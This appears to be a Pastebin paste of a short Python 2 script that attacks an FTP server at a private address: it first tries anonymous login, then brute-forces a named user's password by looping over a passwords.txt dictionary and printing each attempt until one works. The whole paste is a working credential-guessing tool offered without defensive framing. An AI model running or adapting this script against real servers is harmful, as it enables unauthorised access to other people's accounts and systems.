Advertisement
Guest User

Untitled

a guest
Aug 22nd, 2017
528
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.45 KB | None | 0 0
  1. import ftplib
  2.  
  3. def connect(host,user,password):
  4. try:
  5. ftp = ftplib.FTP(host)
  6. ftp.login(user,password)
  7. ftp.quit()
  8. return True
  9. except:
  10. return False
  11.  
  12. def main():
  13. # Variables
  14. targetHostAddress = '10.0.0.24'
  15. userName = 'natekhchan'
  16. passwordsFilePath = 'passwords.txt'
  17.  
  18. #Try to connect using anonymous credentials
  19. print '[+] Using anonymous credentials for ' + targetHostAddress
  20. if connect(targetHostAddress,'anonymous','test@test.com'):
  21. print '[*] FTP Anonymous log on succeeded on host ' + targetHostAddress
  22. else:
  23. print '[*] FTP Anonymous log on failed on host ' + targetHostAddress
  24.  
  25. #Try brute force using dictionary file
  26.  
  27. # Open passwords dictionary file
  28. passwordsFile = open(passwordsFilePath,'r')
  29.  
  30. for line in passwordsFile.readlines():
  31. # clean the lines in the dictionary file
  32. password = line.strip('\r').strip('\n')
  33. print "Testing: " + str(password)
  34.  
  35. if connect(targetHostAddress,userName,password):
  36. # Password Found
  37. print "[*] FTP Logon succeeded on host " + targetHostAddress + " UserName:" + userName + " Password:" + password
  38. exit(0)
  39. else:
  40. # Password Not Found
  41. print "[*] FTP Logon failed on host " + targetHostAddress + " UserName:" + userName + " Password:" + password
  42.  
  43. if __name__ == "__main__":
  44. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement